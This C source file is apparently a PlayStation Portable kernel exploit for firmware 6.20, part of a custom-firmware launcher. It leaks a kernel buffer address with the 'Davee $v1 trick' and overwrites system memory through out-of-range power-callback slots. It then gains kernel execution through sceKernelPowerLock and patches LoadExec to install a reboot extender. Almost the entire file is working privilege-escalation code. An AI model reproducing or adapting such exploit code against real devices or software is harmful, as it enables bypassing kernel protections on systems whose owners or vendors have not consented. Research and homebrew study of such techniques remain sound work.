#include <pspkernel.h>
#include <pspdebug.h>
#include <pspctrl.h>
#include <pspsdk.h>
#include <pspiofilemgr.h>
#include <psputility.h>
#include <psploadexec.h>
#include <psputils.h>
#include <psputilsforkernel.h>
#include <psppower.h>
#include <string.h>
#include <zlib.h>
#include "systemctrl.h"
#include "utils.h"

#ifdef DEBUG
#define printk_init pspDebugScreenInit
#define printk pspDebugScreenPrintf
#else
#define printk_init(...)
#define printk(...)
#endif

#include "rebootex_bin.h"
#include "../../PXE/Launcher/launcher_patch_offset.h"
#include "rebootex_conf.h"

#define INTR(intr) \
	_sw((intr), address); address +=4;
#define INTR_HIGH(intr) \
	_sw((intr&0xFFFF0000) + ((((intr) + (data_address >> 16)) & 0xFFFF)), address); address +=4;
#define INTR_LOW(intr) \
	_sw((intr&0xFFFF0000) + (((intr) + (data_address & 0xFFFF)) & 0xFFFF), address); address +=4;

//psp model
int psp_model = 0;
u32 psp_fw_version = 0;
int g_recovery_mode = 0;
int g_ofw_mode = 0;

//load reboot function
int (* LoadReboot)(void * arg1, unsigned int arg2, void * arg3, unsigned int arg4) = NULL;

extern int scePowerRegisterCallbackPrivate(unsigned int slot, int cbid);
extern int scePowerUnregisterCallbackPrivate(unsigned int slot);
extern int sceKernelPowerLock(unsigned int, unsigned int);

void build_rebootex_configure(void)
{
	rebootex_config *conf = (rebootex_config *)(REBOOTEX_CONFIG);

	conf->magic = REBOOTEX_CONFIG_MAGIC;
	conf->psp_model = psp_model;
	conf->rebootex_size = size_rebootex_bin;
	conf->psp_fw_version = psp_fw_version;
	conf->recovery_mode = g_recovery_mode;
	conf->ofw_mode = g_ofw_mode;
}

//load reboot wrapper
int _LoadReboot(void * arg1, unsigned int arg2, void * arg3, unsigned int arg4)
{
	//copy reboot extender
	memcpy((char *)REBOOTEX_START, rebootex_bin, size_rebootex_bin);

	//reset reboot flags
	memset((char *)REBOOTEX_CONFIG, 0, 0x100);

	build_rebootex_configure();

	//forward
	return LoadReboot(arg1, arg2, arg3, arg4);
}

//safe syscall wrapper for kernel_permission_call - this lets us return safely!
int kernelSyscall(void);
u32 get_power_address(int cbid);

void restore_sysmem_620(void)
{
	u32 address;

	address = 0x88000000 + g_offs->patchRangeStart;

	INTR(0xACC24230); /* sw v0, 0x4230(a2) */
	INTR(0x0A003322); /* j 0x0800CC88 */
	INTR(0x00001021); /* addu $v0, $zr, $zr */
	INTR(0x3C058801); /* lui $a1, 0x8801 */
}

int kernel_permission_call(void)
{
	struct sceLoadExecPatch *patch;

	//cache invalidation functions
	void (* _sceKernelIcacheInvalidateAll)(void) = (void *)(SYSMEM_TEXT_ADDR + g_offs->sysmem_patch.sceKernelIcacheInvalidateAll);
	void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)(SYSMEM_TEXT_ADDR + g_offs->sysmem_patch.sceKernelDcacheWritebackInvalidateAll);

	restore_sysmem_620();

	//sync cache
	_sceKernelIcacheInvalidateAll();
	_sceKernelDcacheWritebackInvalidateAll();

	//LoadCoreForKernel_EF8A0BEA
	SceModule2 * (* _sceKernelFindModuleByName)(const char * libname) = (void *)g_offs->sceKernelFindModuleByName;

	//find LoadExec module
	SceModule2 * loadexec = _sceKernelFindModuleByName("sceLoadExec");

	//SysMemForKernel_458A70B5
	int (* _sceKernelGetModel)(void) = (void *)(SYSMEM_TEXT_ADDR + g_offs->sysmem_patch.sceKernelGetModel);

	psp_model = _sceKernelGetModel();

	if(psp_model == PSP_GO) {
		patch = &g_offs->loadexec_patch_05g;
	} else {
		patch = &g_offs->loadexec_patch_other;
	}

	//replace LoadReboot function
	_sw(MAKE_CALL(_LoadReboot), loadexec->text_addr + patch->LoadRebootCall);

	//patch Rebootex position to 0x88FC0000
	_sw(0x3C0188FC, loadexec->text_addr + patch->RebootJump); // lui $at, 0x88FC

	//save LoadReboot function
	LoadReboot = (void*)loadexec->text_addr + patch->LoadReboot;

	_sceKernelIcacheInvalidateAll();
	_sceKernelDcacheWritebackInvalidateAll();

	//return success
	return 0xC01DB15D;
}

//hacked sysmem function (0x0000A230)
int SysMemUserForUser_D8DE5C1E(int arg1, int arg2, int (* callback)(void), int arg4, int branchkiller);

static u16 g_working_intr_prefix[] = {
	0x04A3, // bgezl $a1
	0x04A1, // bgez $a1
	0x04C0, // bltz $a2
	0x04C2, // bltzl $a2
	0x04D0, // bltzal $a2
	0x04D2, // bltzall $a2
	0x04E0, // bltz $a3
	0x04E2, // bltzl $a3
	0x04F0, // bltzal $a3
	0x04F2, // bltzall $a3
	0x0503, // bgezl $t0
	0x0501, // bgez $t0
};

// result = SysMemUserForUser_D8DE5C1E(0xC01DB15D, 0xC00DCAFE, kernelSyscall, 0x12345678, -1);
// a0 > 0
// a1 > 0
// a2 < 0(kernelSyscall)
// a3 < 0
// t0 > 0
int is_intr_OK(u32 intr)
{
	u16 prefix;
	int i;

	prefix = intr >> 16;

	for(i=0; i<NELEMS(g_working_intr_prefix); ++i) {
		if (g_working_intr_prefix[i] == prefix)
			return 1;
	}

	return 0; 
}

static inline u32 get_power_slot_by_address(u32 address, u32 power_buf_address)
{
	if (address < power_buf_address)
		return (~(power_buf_address - address) + 1) >> 4;

	return (address - power_buf_address) >> 4;
}

#if 0
void freezeme(unsigned int color)
{
	while(1)
	{
		unsigned int *p = (unsigned int*) 0x04000000;
		while (p < (unsigned int*) 0x04400000) *p++ = color;
	}
}
#endif

int start_exploit(int recovery_mode, int ofw_mode)
{
	int result = 0;
	u32 power_buf_address = 0;
	u32 kernel_entry, entry_addr;
	int cbid = -1;
	unsigned int smpos;

	g_recovery_mode = recovery_mode;
	g_ofw_mode = ofw_mode;
	psp_fw_version = sceKernelDevkitVersion();
	setup_patch_offset_table(psp_fw_version);

	printk_init();
	printk("Hello exploit FW: 0x%08X\n", psp_fw_version);

	cbid = sceKernelCreateCallback("", NULL, NULL);
	printk("Got a CBID: 0x%08X\n", cbid);

	//Davee $v1 trick, $v1 would leak the power_buf_address when called on an registered slot 0
	scePowerRegisterCallbackPrivate(0, cbid);
	power_buf_address = get_power_address(cbid);
	scePowerUnregisterCallbackPrivate(0);
	printk("power_buf_address 0x%08X\n", power_buf_address);

	//override sysmem function
	for(smpos = g_offs->patchRangeStart; smpos < g_offs->patchRangeEnd; smpos += 16) {
		//calculate slot
		unsigned int slot = get_power_slot_by_address(((u32)0x88000000)+smpos, power_buf_address);

		//wipe memory with -1... else overriding fails.
		scePowerUnregisterCallbackPrivate(slot);

		//register dummy callback (override memory ^^)
		result = scePowerRegisterCallbackPrivate(slot, cbid);

		//patching error
		if(result) break;
	}

	sync_cache();
	
	//restoring instructions and patching loadexec
	unsigned int interrupts = pspSdkDisableInterrupts();

	kernel_entry = (u32) &kernel_permission_call;
	entry_addr = ((u32) &kernel_entry) - 16;
	result = sceKernelPowerLock(0, ((u32) &entry_addr) - 0x4234);
	pspSdkEnableInterrupts(interrupts);

	printk("exploit -> 0x%08X\n", result);

	//trigger reboot
	sceKernelExitGame();

	//kill thread
	sceKernelExitDeleteThread(0);

	//return
	return 0;
}

void sync_cache(void)
{
	sceKernelIcacheInvalidateAll();
	sceKernelDcacheWritebackInvalidateAll();
}
